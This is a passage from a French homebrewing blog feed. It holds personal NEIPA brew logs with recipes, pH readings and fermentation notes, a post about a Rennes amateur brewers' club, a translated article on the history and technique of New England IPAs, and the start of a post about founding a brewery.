<li>Utilisation d'eau de source, pour pouvoir corriger les sulfates / chlorures.</li>
<li>200 Chlorures pour 100 Sulfates.</li>
<li>
<h2>Gypse: 1g</h2>
<dl>
<dd>1.8g (=4.05ml)</dd>
</dl>
</li>
<li>Acide lactique: 0.4ml</li>
</ul>
<h2>Profil d'empatage:</h2>
<ul>
<li>68°C durant 40mn;</li>
<li>75°C durant 10mn (mash-out)</li>
</ul>
<h2>Levure</h2>
<ul>
<li>GigaYeast «Vermont Ale». Le nombre de cellules n'est pas indiqué sur le packaging, ni en ligne.</li>
</ul>
<h1>Déroulé</h1>
<ul>
<li>12h50: empâtage à 68°C</li>
<li>pH = 5.5. Ajout de 0.2 d'acide.</li>
<li>Pas mal de mesures du pH:<ul>
<li>5.2@23°C (13h05)</li>
<li>5.4@18°C (13h05)</li>
<li>5.2@27°C (13h15)</li>
<li>5.3@19°C (13h20)</li>
<li>5.4@25°C (13h30)</li>
</ul>
</li>
<li>13h33: Mash-out à 78°C durant 10mn</li>
<li>Test à l'iode: OK</li>
<li>14h11: 1er rincage. Densité premier mout: 1070</li>
<li>15h40: Hop Stand (15g Citra / 15g Mosaic)</li>
</ul>
<h1>Fermentation</h1>
<ul>
<li>31/12/2017 - Fermentation à 20°C</li>
<li>01/01/2018 - Ajout de 12g de Citra et 12g de Mosaic après deux jours.</li>
<li>10/01/2018 - 1.040 SG = 1.008 corrigé</li>
<li>15/01/2018 - Ajout de 12g de Citra et 12g de Mosaic</li>
<li>15/01/2018 - Cold Crash</li>
<li>21/01/2018 - Mise en bouteille. Resucrage à 7g/L.</li>
</ul>
<h1>Observations:</h1>
<ul>
<li>En mettant 1.5ml d'acide, si on mesure le pH de l'eau, il est à 3.5. Ça nous à pas mal effrayé, puisque on a pas trop l'habitude de monitorer le pH. On refait: 0.4ml d'acide = pH de 4.1. Au final, cela ne semble pas utile de mesurer le pH de l'eau avant de mettre son grain.</li>
<li>Je le savais déjà, mais travailler à deux en discutant n'est pas vraiment une bonne idée: sur les opérations un peu technique, un manque de concentration se fait tout de suite ressentir.</li>
<li>BeerSmith semble proposer un outil pour calculer les modifications de pH, je devrais l'utiliser la prochaine fois.</li>
<li>Baisser le ration d'empâtage: On s'est retrouvé avec beaucoup trop d'eau de rincage, alors qu'on était sur une bière assez faible en densité.</li>
<li>Au final, ajouter l'acide au départ est problématique pour le pH de l'eau qui baisse énormement. Après quelques recherches, il semble qu'il faille faire confiance au logiciel, et prendre une seule mesure de pH à 10mn (cela devrait être stable). Le pHmetre est aussi peut-être en cause.</li>
<li>D'une manière générale, j'ai l'impression d'être un peu à l'arrache sur la partie fermentation. Il faudrait vraiment que j'ai un plan et que je m'y tienne. Plusieurs questions me semblent encore à résoudre: combien de temps laisser le houblon à cru ? A quelle température ?</li>
</ul>NEIPA #22017-12-18T00:00:00+01:002017-12-18T00:00:00+01:00tag:blog.notmyidea.org,2017-12-18:/neipa-2.html<p><em>Voici quelques prises durant un de mes brassins. L'idée est de pouvoir les relire et m'améliorer au fur et à mesure.</em></p>
<h1>Objectifs</h1>
<ul>
<li>Corriger les erreurs du précédent brassin.</li>
<li>Éviter les soucis de filtration</li>
<li>Mieux corriger le pH</li>
<li>Faire un whirlpool digne de ce nom / avoir moins de trub dans le …</li></ul><p><em>Voici quelques prises durant un de mes brassins. L'idée est de pouvoir les relire et m'améliorer au fur et à mesure.</em></p>
<h1>Objectifs</h1>
<ul>
<li>Corriger les erreurs du précédent brassin.</li>
<li>Éviter les soucis de filtration</li>
<li>Mieux corriger le pH</li>
<li>Faire un whirlpool digne de ce nom / avoir moins de trub dans le fermenteur</li>
<li>Ne pas se laisser avoir par la baisse de température durant l'empâtage.</li>
</ul>
<h1>Recette</h1>
<p>DI: 1060 (1050 mesuré)
pH: 5.2 (atteint)</p>
<h2>Grains</h2>
<ul>
<li>90% Pils</li>
<li>10% Flocons d'avoine</li>
</ul>
<h2>Houblons</h2>
<ul>
<li>2g/L Wakatu (au Whirlpool)</li>
<li>2g/L Motueka (au Whirlpool)</li>
<li>4.5g/L Wakatu à cru (en deux fois)</li>
<li>2.5g/L Motueka à cru (en deux fois)</li>
</ul>
<h2>Eau</h2>
<ul>
<li>Utilisation d'eau de source, pour pouvoir corriger les sulfates / chlorures.</li>
<li>200 Chlorures pour 100 Sulfates.</li>
<li>Gypse: 0.9g</li>
<li>CaCl2: 3.4g</li>
<li>Acide lactique: Au batch précédent, j'avais mesuré 5.6, donc: ajout de +2ml d'acide (=2.4g).</li>
<li>Utilisation d'Irish Moss (2g) pour coaguler les protéines.</li>
</ul>
<h2>Profil d'empatage</h2>
<ul>
<li>65°C durant 90mn (68°C au départ, 65 visé)</li>
<li>78°C durant 10mn (mash-out)</li>
</ul>
<h2>Levure</h2>
<ul>
<li>London Ale III.</li>
</ul>
<h1>Déroulé</h1>
<ul>
<li>18h36 - empatage à 65°C</li>
<li>19h16- pH = 5.2</li>
<li>Densité 1er moût: 1070</li>
<li>Ébullition importante pour atteindre 6,2L avec la bonne densité.</li>
<li>Mash-out à 78°C durant 10mn</li>
<li>Test à l'iode: NOK</li>
<li>1er rincage. Densité premier mout: 1070</li>
<li>15h40: Hop Stand (15g Citra / 15g Mosaic)</li>
</ul>
<h1>Fermentation</h1>
<ul>
<li>18/12/2017 - Fermentation à 18°C</li>
<li>21/12/2017 - Ajout de 13.5g de Wakatu et 7.5g de Motueka</li>
<li>30/12/2017 - Ajout de 13.5g de Wakatu et 7.5g de Motueka</li>
<li>30/12/2017 - Passage à 10°C.</li>
<li>15/01/2018 - Cold Crash</li>
<li>21/01/2018 - Mise en bouteille. Resucrage à 7g/L.</li>
</ul>
<h1>Observations:</h1>
<ul>
<li>Je change de technique, et mets l'acide lactique directement dans l'eau.</li>
<li>Je concasse moins fin mais reteste quand même l'avoine. Aucun souci de filtration (mais l'avoine n'est pas concassé).</li>
<li>1g de CaCl2 ~= 2.25ml en solution à 33%.</li>
<li>Les deux thermomètres n'affichent pas la même température. Super :(.</li>
<li>Au final, j’empâte dans une casserole pour pouvoir faire un mash-out.</li>
<li>Le pH oscille pas mal durant l'empâtage. J'ai mesuré des pH de 4.9 à certains moments, mais au final la dernière lecture est de 5.2, ce qui me semble bon.</li>
<li>Le système que j'utilise (refroidisseur en cuivre) pour refroidir mon moût n'est pas génial parce que ça mélange pas mal ce qu'on veut voir se déposer au fond de la cuve. Refroidir directement dans l'évier est vachement plus simple (c'est pratique de faire du 6L pour çà !)</li>
<li>Le teste à l'iode était positif: tout n'était pas converti. Mais à 90mn de mash, je ne crois pas pouvoir faire grand chose de plus.</li>
<li>Idée en vrac, à voir à la dégustation, mais ajouter un peu de cara pourrait être sympa.</li>
<li>L'irish moss à vraiment bien fonctionné. Je me demande si je ne devrais pas même laisser décanter un peu plus longtemps durant le whirlpool pour avoir un effet encore plus impressionnant.</li>
<li>Je trouve que l'efficacité de cette brasserie est vraiment pourrie.</li>
<li>Un peu d'eau est venue diluer le moût (DI = 1050 au lieu de 1060 souhaité)</li>
<li>Au goût, le moût à vraiment un goût qui m'assèche la gorge. Trop de modifications de l'eau ? A voir si l'effet persiste après fermentation.</li>
<li>A priori, d'après un article de Scott Janish, empâter avec de l'avoine cru ne fonctionne que si on empate haut. Ca à un impact sur l'efficacité générale (2h pour conversion totale, c'est peut-être pour ça que mon teste à l'iode était positif)</li>
<li>Sur l'avoine toujours, il faut <strong>dépasser 18%</strong> pour avoir un côté moelleux. Certains mettent jusqu'à 40% !</li>
</ul>Un club des brasseurs amateurs Rennais2017-11-06T00:00:00+01:002017-11-06T00:00:00+01:00tag:blog.notmyidea.org,2017-11-06:/un-club-des-brasseurs-amateurs-rennais.html<p>En Mars dernier, suite à quelques discussions entre brasseurs amateurs, on à décidé de monter <a href="https://framalistes.org/sympa/subscribe/brassam-rennes">une liste de diffusion</a> pour faciliter les échanges autour du brassage amateur sur Rennes et ses alentours.</p>
<p>Un peu plus tard, <a href="https://www.facebook.com/groups/899071153568179/">un groupe Facebook</a> est venu s'ajouter, et c'est vrai qu'on sent une dynamique naissante …</p><p>En Mars dernier, suite à quelques discussions entre brasseurs amateurs, on à décidé de monter <a href="https://framalistes.org/sympa/subscribe/brassam-rennes">une liste de diffusion</a> pour faciliter les échanges autour du brassage amateur sur Rennes et ses alentours.</p>
<p>Un peu plus tard, <a href="https://www.facebook.com/groups/899071153568179/">un groupe Facebook</a> est venu s'ajouter, et c'est vrai qu'on sent une dynamique naissante autour de la brasserie artisanale dans le coin.</p>
<p>En six mois, on est maintenant une grosse trentaine de personnes à être inscrits sur les listes et à se retrouver de temps à autres.</p>
<p>On en profite pour s'échanger des bons plans, déguster nos créations, (essayer de) faire des commandes groupées de malt, et pour se rencontrer pour papoter entre passionnés.</p>
<p>On a pas mal d'idées de trucs sympa a faire, entre autres:</p>
<ul>
<li>brasser une fois en gros puis se séparer le batch en plein de petits fermenteurs pour essayer différentes levures, différents houblons en <em>dry hop</em>, etc.</li>
<li>A la dernière rencontre, on s'est mis d'accord sur un style de bière pour se lancer un petit défi: tous brasser <a href="https://blog.notmyidea.org/larrivee-du-trouble-ou-comment-faire-des-neipa.html">une NEIPA</a> pour ensuite comparer nos résultats.</li>
</ul>
<p>Bref, c'est plutôt chouette ! Je me suis rendu compte qu'on avait quasiment aucune existence en dehors des réseaux sociaux, alors je me permet de publier ce petit bout d'article avec quelques liens…</p>
<p>Si tu es dans le coin et que tu souhaite nous rencontrer, n'hésite pas à rejoindre <a href="https://www.facebook.com/groups/899071153568179/">notre groupe de discussion Facebook</a> et notre <a href="https://framalistes.org/sympa/subscribe/brassam-rennes">liste de diffusion mail</a>.</p>
<p>A bientôt ;)</p>L'arrivée du trouble (ou comment faire des NEIPA ?)2017-10-17T00:00:00+02:002017-10-17T00:00:00+02:00tag:blog.notmyidea.org,2017-10-17:/larrivee-du-trouble-ou-comment-faire-des-neipa.html<p><strong>Ceci est une traduction d'un article paru dans le magazine « Brew Your Own » en Octobre 2016, écrit par Dave Green</strong></p>
<p>C'est la saison des élections aux états unis et la bataille entre les partis politiques semble être plus controversée que d'habitude. Coincidemment, les buveurs de bières « Craft» US semblent avoir …</p><p><strong>Ceci est une traduction d'un article paru dans le magazine « Brew Your Own » en Octobre 2016, écrit par Dave Green</strong></p>
<p>C'est la saison des élections aux états unis et la bataille entre les partis politiques semble être plus controversée que d'habitude. Coincidemment, les buveurs de bières « Craft» US semblent avoir leur propre bataille qui divise au moins autant: une IPA peut elle être aussi trouble qu'une hefeweizen ? En provenance du coin Nord Est des États-Unis, l'IPA trouble est en passe de devenir culte depuis quelques années. Mais la mode ne vient pas sans contrecoup. En fait, tout le monde y va de son opinion chez les brasseurs artisanaux. Pour ceux qui apprécient ce type d'IPA, l'apparence trouble signifie que les gorgées qui suivent seront extrèmenent riches en huiles de houblons; pour les autres, l'apparence est un affront à des principes ancestraux. Que vous les appeliez des rince-bouches, des soupes boueuses, brillantes ou horribles, ne vous faites pas de fausse idée: ces ales troubles sont là pour rester.</p>
<p>Pour commencer cette histoire, revenons un peu au début des années 1990. La scène brassicole artisanale était en train de vivre son premier boom et les nouvelles brasseries faisaient leur apparition dans tous les coins des États-Unis. Menée par Sierra Nevada Brewing Company, les American Pale Ale et les American IPA étaient en train d’émerger en tant que styles populaires parmi les amateurs de bière, pour leurs caractéristiques riches en houblon.</p>
<p>Le niveau d'amertume était un trait notoire, et avoir la bonne morsure d'amertume était essentiel pour une IPA. L'innovation a ensuite commencée à arriver sur la cote Ouest des États Unis à la fin des années 1990, et au début des années 2000, quand quelques doubles ou impériales IPA telles que Pliny the Elder de Russian River et Ruination IPA de Stone Brewing ont commencées à sortir des fermenteurs. Alors que celles ci contenaient énormement de « morsure du houblon», ce qui séparaient ces bières de beaucoup d'autres versions du style était le fait que le nez et la saveur du houblon semblaient éclater de la bière.</p>
<p>Du point de vue du brasseur, les huiles essentielles de ces houblons étaient bien plus présents que les acides alpha. En utilisant un profil de malt neutre et une souche de levure neutre, ces bières laissaient la part belle aux houblons. Ces brasseurs utilisaient aussi des houblons souvent critiqués, forts en acides alpha, tels que Columbus, Centennial, Simcoe et Chinook à la fin de l'ébullition ou en houblonnage à cru... et en grosses quantitées. Cela peut sembler comme une pratique courante pour une IPA actuellement, mais il y a à peine 15 ans, la plupart de la littérature évitaient d'utiliser ces variétés de houblon pour une utilisation autre que de l'amérisant. Lévolution d'une nouvelle American IPA était en train de prendre forme, sur la cote Ouest des étants unis, un style que les buveurs de bière ont nommé la « West Coast IPA».</p>
<h1>La phase de démarrage</h1>
<p>De retour sur la cote Est des États-Unis, dans un petit brewpub de Burlington à Vermont, deux brasseurs commencent innocemment à développer un type d'American IPA avec des objectifs similaires que les brasseurs de la côte Ouest, mais en utilisant une stratégie différente. Crée en 1988 par Greg Noonan et Steve Polewacyk, le « Vermont Pub & Brewery » deviendra le berceau d'une nouvelle révolution autour des IPA.</p>
<p>Souvent citée comme étant les premiers brasseurs des Black IPA modernes ainsi que des New England IPA, offrant une variété de bières qui était extrèmement rare à cette époque, le « Vermont Pub & Brewery » a des racines provenant de la connaissance du brassage et de la chimie de Greg Noonan, ainsi que son flair pour la créativité.</p>
<p>Se reposant sur la révolution de la bière mondiale (menée par Michael Jackson), Greg Noonan à exploré des styles de bières qui étaient en dehors des sentiers battus, même pour les brasseurs qui étaient déjà en avance sur leur temps.</p>
<p>Arrive John Kimmich, qui, en 1994 à déménagé dans le Vermont avec l'objectif de brasser sous la tutelle de Greg Noonan. John à travaillé un temps à Pittsburg (en Pennsylvanie) dans un <em>home brewshop</em> nommé Country Wines. Il a travaillé avec Alexis Hartung et sa grande bibliothèque sur le brassage maison et a eu son premier éclair de génie brassicole en lisant le livre de Greg Noonan « New Brewing Lager Beer ». Un an plus tard, il commence à travailler au « Vermont Pub & Brewery ». En quelques mois, Greg commence à avoir confiance dans les capacités de son nouveau protégé. Avec chaque bière que John travaillait, le mentor était impressionné. Après douze mois, Greg donne la liberté à John d’expérimenter seul sur les recettes.</p>
<p>En 1997, John part du « Vermont Pub & Brewery » et cofonde avec sa femme Jen un brewpub en 2003, le « Alchemist Pub & Brewery », situé 30mn à l'est de Burlington à Waterbury dans le Vermont. A cette époque, Waterbury était un petit village dormant du New England, n'attirant pas grand monde autre que quelques touristes. Il était par contre assez bien situé, à un croisement des chemins, juste à la sortie d'une autoroute majeure, Waterbury est facilement accessible par à la fois les voyageurs en route pour les endroits touristiques et pour les locaux en allant / revenant du travail ou pour leurs excursions shopping. Grâce à ces quelques éléments, Waterbury s'est donc révélé êre un excellent spot pour Jen et John.</p>
<p>Une caractéristique unique des bières houblonnées de Kimmich était que lorsque servies fraîches et non filtrées, elles étaient souvent assez troubles. Il trouvait que filtrer ses bières pouvait introduire de l'oxygène non souhaité, enlevant de la bière beaucoup d'aspects intéressants. Il utilisait une souche nommée Conan (VPB1188), une levure que son mentor a développé et que maintenant beaucoup connaissent. Avec les dérivés Anglais, la souche de levure Conan, les bonnes connaissances en brassage de John, ainsi que son habitude à expérimenter avec les houblons, on se retrouve avec une combinaison gagnante pour une révolution du brassage sur la côte est.</p>
<h1>La phase de croissance</h1>
<p>En 2007, alors que j'allais au festival des brasseurs du Vermont, la queue pour accéder au stand de The Alchemist était d'au moins 20 minutes pour un verre. Certaines personnes remplissaient leurs verres et retournaient faire la queue pour avoir la chance de goûter une autre de ces bières tant acclamées, en particulier pour Heady Topper. Pour la première fois brassée en 2003, Heady Toper retenait alors l'attention, alors qu'elle n'était réellement qu'une parmi les nombreuses IPA acclamées de chez The Alchemist. Des histoires circulaient comme quoi certaines personnes amenaient leurs pintes aux toilettes pour remplir des bouteilles, les capsuler et les ramener chez eux, puisque le bar ne proposait pas de remplir de Growlers à l'époque, ni ne vendait de bouteilles. Je pensais alors que l'engouement pour ces IPAs avait atteint une sorte de paroxysme. Je n'avais pas encore compris que le feu était seulement en train de se construire.</p>
<p>J'ai récemment demandé à Shaun Hill, de la brasserie « Hill Farmsted » à Greensborrow Bend dans le Vermont, classée « meilleure brasserie du monde » 3 des 4 dernières années sur RateBeer.com, quel était sa relation avec John Kimmich à l'époque. Shaun brassait à l'époque 30mn plus loin, à Stowe, dans un brewpub appelé « The Shed».</p>
<p>« En 2005, je ne tarissais pas d'éolges pour les bières de John me faisait le plaisir de critiquer mes bières » me dit Hill, « Cette relation à évoluée avec le temps, plus specialement lorsque j'ai déménagé au Danemark et que cette conversation est devenue une conversation entre pairs, poussant l'autre dans de nouvelles directions.». Avec le decès de Greg Noonan en 2009, l'ancien protégé est devenu le nouveau mentor. Lors d'un échange avec Joel Mahaffey de Foundation brewing Co, à Portland à propos des IPAs influentes pour cette nouvelle révolution, il dit de The Alchemist « Quiconque réponds à cette question et oublie Heady Topper, ils sont à coté de la plaque. Il s'agit de la première IPA trouble, et à laissée une marque sur la communauté brassicole.»</p>
<p>Ce qui à emergé dans le coin nord-est des états unis est une explosion de nouvelles brasseries produisant des Pale Ale, des IPA et des double IPA basées sur la non filtration, l'explosion de saveurs, et un corps doux, un style que Greg Noonan et John Kimmich ont découvert, et qu'ensuite Shaun Hill à continué à affiner. John et Shaun ont séparemment pointé du doigt le fait qu'ils brassaient juste des bières à leur convenance, et qu'ils appréciaient le produit fini. Le terme « Juicy IPA » s'est retrouvé être un nom pour ces bières, et la texture est souvent aussi importante que le nez et le gout de houblons. Et comme les IPA de la côte Ouest se sont répendues en 2008, les bières troubles, non filtrées, les New England IPA se répendent en 2016.</p>
<h1>C'est parti !</h1>
<p>Il est maintenant temps de passer à la brasserie et de regarder comment faire pour brasser une IPA, New England style. Shaun Hill dit « soyez vous mêmeet faites une bière qui goute, sent et ressemble à ce que vous voulez qu'elle soit », JC Tetreault de Trillum à Boston dans le Massachussetts ajoute « la réponse courte… tout est important ! Vous devez vous concentrer sur chaque aspect pour arriver à la bière que vous souhaitez. » L'objectif est d'arriver à une bière douce, un peu ronde, presque tropicale, à la texture ressemblant presque à un jus de fruit, laissant une morsure subtile sur la langue en fin de bouche graçe au houblon.</p>
<h2>Les malts</h2>
<p>Tout comme les IPAs de la cote Ouest, les NEIPA sont relativement simples en malts. Le style évite les malts qui ajoutent des saveurs de pain et de crackers. Les malts cristals et autres malts au dessus de 20°L (ndt: 52 EBC) sont d'une manière générale évités. Ces bières peuvent bénéficier de certains ajouts de malts cristal clairs, mais gardez les à l’œil. Des flocons d'avoine, d'orge, de blé et autres peuvent être ajoutés pour contribuer au corps, mais ne pensez pas qu'ils soient une necessité. J'ai pu jouer avec des pourcentages de 15% de flocons dans mes recettes, et les résultats étaient presque excessifs. JC Tetreault dit que « à propos des ajouts de céréales non maltés et de flocons… nous ne les utilisons pas dans toutes nos bières basées sur le houblon. En fait, une proportion plutôt petite de nos bières basées sur le houblon en font usage». Les ajouts de sucre tels que les dextrose, saccharose et sucres crus augmentent la densité du moût pour s'assurer de la sécheresse dans les versions plus alcoolisées. Si vous choisissez d'ajouter du sucre cru, encore une fois, faites en sorte que l'ajout soit modeste; j'ai trouvé que certaines saveurs de mélasses avaient tendance à arriver à partir de 10% du total du grain. L'objectif est de garder les houblons comme caractéristique principale de la bière, tout en ayant une base de malt douce mais présente.</p>
<h2>Les levures</h2>
<p>Et c'est ici que les NEIPA dérivent des IPA de la cote Ouest. L'ajout des levures ainsi que le traitement à partir de la fermentation semble être la plus grosse différence entre les deux styles. D'abord, regardons comment ces bières sont fermentées. La plupart des NEIPA ne sont pas clarifiées dans le fermenteur avec des agents clarifiant tels que de la gélatine, du Biofine® ou du Polyclar™, et elles ne sont pas filtrées ou centrifugées plus tard pour clarifier la bière. La pensée derrière ce process est qu'enlever les levures de la bière à également pour effet d'enlever les huiles essentielles ainsi que d'autres nuances subtiles qui permettent à la bière d'avoir son caractère propre. Cela permet de garder un niveau d'huiles assez elevé dans le produit fini. Deuxièmement, les brasseurs de New England fermentent en utilisant une souche de levure d'origine anglaise. Ashton Lewis, l'éditeur technique de Brew Your Own précise « D'après des études ADN, la levure California Ale (White Labs WLP001, Wyeast 1056 et les autres souches de Chico) viendraient plutôt de Cologne, en Allemagne ». Ces souches américaines ont été choisies pour leur capacité à produire des bières claires, transparentes et amères sans ajouter de caractère. Les souches de levure utilisées par les brasseurs de New England IPA sont utilisées pour ajouter des esters, qui aident à produire le profil juteux de ces bières. Les IPAs brassées avec ces souches ne semblent pas être aussi transparentes que les souches Americaines lorsqu'elles sont exposées à des niveaux d'huiles elevés. Ceci vient en désaccord avec la plupart de la littérature sur les souches Anglaises. Si vous lisez la description de la plupart des souches de levures utilisées pour produire ces IPA troubles, la plupart sont considéeées « hautement floculantes », alors que la souche Chico, souvent utilisée pour les IPA de la cote Ouest annonce plutôt une floculation moyenne à faible. Pourquoi alors ces bières ne se clarifient pas lorsqu'elles sont sujettes à des hautes doses de houblon en fin d'ébullition ou en houblonnage à cru ? Cela reste encore une zone floue, j'ai donc demandé à quelques personnes dans l'industrie à propos de ce flou. Certains brasseurs pointent du doigt le fait que ces souches de levures floculent trop rapidement. Cela ne laisse pas le temps aux polyphénols de s'attacher aux levures, laissant ces composés ainsi que d'autres composés dérivés du houblon dans la solution plutôt que des les en enlever. Ashton Lewis nous rappelle aussi que le trouble trouvé dans les hefeweizen est principalement causé par les interactions entre les protéines et les polyphénols, et non pas par les levures.</p>
<p>Donc, quelles sont les souches de levure que vous devriez utiliser ? Le choix est en fait assez large, pour ceux qui souhaitent brasser ces types de American IPA, referez vous donc aux suggestions données dans les recettes jointes pour quelques idées.</p>
<h2>L'eau</h2>
<p>L'eau joue un rôle prépondérant dans le développement des New England IPA. Concentrez vous sur les niveaux de dureté de votre eau. Si vous avez une eau assez douce, alors vous avez un bon point de départ. Si vous avez une eau plutôt dure, obtenez un relevé d'eau (ndt: allez faire un tour sur le site « Eau du bassin Rennais » !). Si vous n'avez pas ces relevés d'eau, vous pouvez aussi faire analyser votre eau par des laboratoires, ou vous pouvez le faire vous même grâce à des kits de test de l'eau. Peu importe ce que vous choisissez, utiliser de l'eau distillée ou osmosée peut vous fournir une bonne base pour construire le profil d'eau que vous souhaitez obtenir. Essayez de garder votre niveau de bicarbonate en dessous de 50 PPM pour votre eau d’empâtage et votre eau de rinçage.</p>
<p>La prochaine chose sur laquelle se concentrer est vos sulfates et vos chlorures. Ceci est parfois controversé, mais encore une fois peut potentiellement être un facteur différenciant entre les IPA de la côte Est et les IPA de la côte Ouest. Quand j'ai commencé à jouer avec la composition de mon eau, j'ai traité l'eau de mes IPA pour atteindre un rapport 2:1 de sulfates / chlorures, ce qui s'est traduit par 100:50 PPM. J'ai produit plusieurs bières qui pouvaient rivaliser (selon moi) avec certaines que mes idoles produisaient. Mais, dans l'esprit du brassage amateur, j'ai continué à expérimenter. J'ai changé l'équilibre de sulfate / chlorures à 200:50PPM sans que je perçoive un changement. J'ai ensuite essayé 100:100 et trouvé que ça me plaisait un peu plus. Mes trouvailles ne sont pas la seule preuve anecdotique que booster le niveau de chlorures peut bénéficier à ce style de bières. Si vous cherchez à ajuster vos sulfates et for chlorures pour votre eau d'empâtage et de rincage, je vous encourage à jeter un oeil à l'article de Scott Janish du 7 Mars 2016 intitulé « Mouthfeel softness ». Scott y parle des effets négatifs d'un taux de sulfates elevé et des aspects positifs d'un niveau de chlorures elevé.</p>
<h2>Les houblons</h2>
<p>Généralement, l'amertume des houblons dans ce type d'IPA joue un rôle support, qui vient équilibrer le corps et la douceur des malts. Premièrement, gardez l'ajout de houblons amérisants modéré à faible. Vous pouvez expérimenter avec l'ajout de houblons amérisants mais je n'ai jamais eu l'occasion de trouver qu'une utilisation importante de houblons amérisants menait à une meilleure New-England IPA. Utilisez des houblons hauts en alpha tels que Magnum, Warrior™ ou Bravo si vous choisissez d'utiliser des houblons en cône ou en pellets, et je recommande de garder les ajouts d'amérisants assez faibles. D'habitude, j'essaye houblonner pour un rapport de 1:3 BU:GU (amertume sur densité). Cela signifie que quand je vise une densité cible de 1.066, l'ajout de houblons à 60mn est de 22 IBUs. Cela est fait pour éviter d'ajouter une dureté qui peut provenir d'une ébullition d'une quantité plus elevée de houblons. L'autre option est d'utiliser des extraits de houblon, qui peuvent contribuer les acides alpha nécessaires pour obtenir la bonne amertume, sans ajouter de polyphénols, que certains brasseurs pensent être à l'origine d'une certaine dureté.</p>
<p>Les ajouts de houblons en fin d'ébullition jouent un rôle beaucoup plus important pour la production de New-England IPA. Des apports copieux à la fin de l'ébullition ou au <em>flame-out</em> sont utiles pour tout type d'IPA hautement aromatique. Cela ajoutera des IBUs pour compléter votre apport en houblons amérisants et commencera à créer votre profil d'huiles. Je trouve que des variétés plus mordantes / piquantes comme le Simcoe®, Columbus, Chinook et Apollo fonctionnent bien à cette étape. Chaque brasseur semble trouver sa technique ici, qu'il s'agisse de faire plusieurs ajouts à 20mn ou moins puis de baisser à une température précise pour faire un <em>hop stand</em>, ou bien de simplement ajouter tous les houblons au <em>flame-out</em> et de les laisser durant 20 minutes ou plus. Il ne semble pas qu'il y ait de mauvaise manière de faire, juste plusieurs manières d'extraire les huiles essentielles des houblons à une température pas trop haute.</p>
<p>Le houblonnage à cru est votre prochain objectif. J'aimerais me concentrer sur les techniques plutôt que sur les quantités ou variétés puisque la technique semble être le plus important ici. Ceci dit, une chose est sure, ne soyez pas trop timide avec les ajouts durant le houblonnage à cru. 7.5g/L est certainement un bon point de départ. Vous pouvez ajuster en fonction de vos résultats. Les brasseurs Scott Janish et Michael Tonsmeir ajoutent que mettre ces bières en fûts à quelques avantages. Houblonner dans le fût, purger au CO2 et le fait de ne pas avoir de période prolongée de carbonatation sont déjà deux des avantages des fûts sur les bouteilles.</p>
<p>Alors, quand est le meilleur moment pour faire son houblonnage à cru ? Biern que ce ne soit pas une necessité, le fait de faire son houblonnage à cru en deux fois semble être un bon choix pour ce genre d'IPA. Prenez ce que vous pensiez ajouter lors du houblonnage à cru et séparez le en deux. Le premier ajout se fera durant la phase active de fermentation alors que le second se fera quand la fermentation se sera calmée et que les levures auront flocculées. Le premier ajout peut se faire à différents stades de la fermentation primaire; certains brasseurs les ajoutent au même moment qu'ils ensemencent, certains autres lorsque le krausen est haut, alors que la plupart l'ajoutent vers la fin de la fermentation. Je préfère faire le premier ajout une fois que le krausen est redescendu. Les hétérosides et les bio-transformations sont des éléments importants dans cette discussion à propos de comment la levure intéragit avec les huiles des houblons et les autres dérivés du houblon. Je trouve que les houblons ajoutés à la fin de l'ébullition vont apporter des caractéristiques similaires que les huiles de houblons ajoutés durant le ébut de la fermentation. Pour ce qui est du second ajout, l'objectif est d'attendre que la fermentation se soit calmée. Le timing n'est pas vraiment un facteur important ici, mais l'introduction d'oxygène est un point crutial. Prenez bien soin d'introduire le moins possible d'oxygène dans la bière à ce moment çi.</p>
<p>Dernièrement, quelque chose qui est nouveau pour moi: le houblonnage à cru sous pression. Cela vous demandera de l'équipement supplémentaire, principalement quelque chose apellée une « Spunding Valve». Il s'agit d'une valve qui permet de garder une certaine pression dans le fermenteur. Si la pression dépasse la valeur cible, alors la valve s'ouvre pour faire redescendre le fermenteur à la valeur souhaité. Mais, en quoi cela pourrait-être interéssant pour nous ? Parce que nous cherchons à garder un maximum de houblons aromatiques, en évitant d'en perdre. Les brasseurs amateurs ainsi que les brasseurs pros se sont penchés sur la question des spuinding valve de plus en plus dernièrement pour la fermentation primaire et pour le houblonnage à cru.</p>
<p>La révolution de la côte Est bat son plein et si vous ne pouvez pas venir sur place pour goûter un extrait, vous pouvez maintenant au moins commencer à brasser des bières avec un caractère similaire. Et si vous n'êtes pas un fan de ce type de bière, faites bien attention à laisser ceux qui apprécient déguster en paix.</p>
<p>Remerciements spéciaux à tous les brasseurs qui ont contribué à la production de cet article: John Kimmich de The Alchemist, Shaun Hill de Hill Farmstead, Joel Mahaffrey de Foundation Brewing, Matt Nadeau de Rock Art Brewery et JC Tetrealt de Trillium. Allez leur rendre visite !</p>Brasserie du Vieux Singe — Installation en cours.2017-06-26T00:00:00+02:002017-06-26T00:00:00+02:00tag:blog.notmyidea.org,2017-06-26:/brasserie-du-vieux-singe-installation-en-cours.html<p>Ça fait maintenant quelques mois que j'ai décidé de <a href="https://www.vieuxsinge.com">changer de métier</a>. Choix à la fois difficile et excitant. Une rupture qui laisse place à quelques étoiles dans les yeux. Enfin, je retrouve l'envie de créer, et je renoue avec mes rêves, ceux-la mêmes que je croyaient trop fous pour …</p><p>Ça fait maintenant quelques mois que j'ai décidé de <a href="https://www.vieuxsinge.com">changer de métier</a>. Choix à la fois difficile et excitant. Une rupture qui laisse place à quelques étoiles dans les yeux. Enfin, je retrouve l'envie de créer, et je renoue avec mes rêves, ceux-la mêmes que je croyaient trop fous pour être à portée de main.</p>
<p>La chose la plus frappante, c'est la vitesse à laquelle passent les journées: j'ai <em>vraiment</em> l'impression d'avoir quitté Mozilla hier. Si les collègues me
manquent, je ne ferais machine arrière pour rien au monde: je trouve finalement ce sens qui me manquait cruellement.</p>
<p>Après quelques hésitations au départ, j'ai décidé de mettre de côté mes activités liées à l'informatique: difficile à assumer quand on croise les copin.e.s avec qui on avait l'habitude de discuter énormement de ces sujets, mais ça permet de laisser plus de place pour l'humain. Plus de place pour les «Au fait, comment ça va toi ?» quand j'ai l'occasion de les recroiser, ce qui n'est pas plus désagréable :)</p>
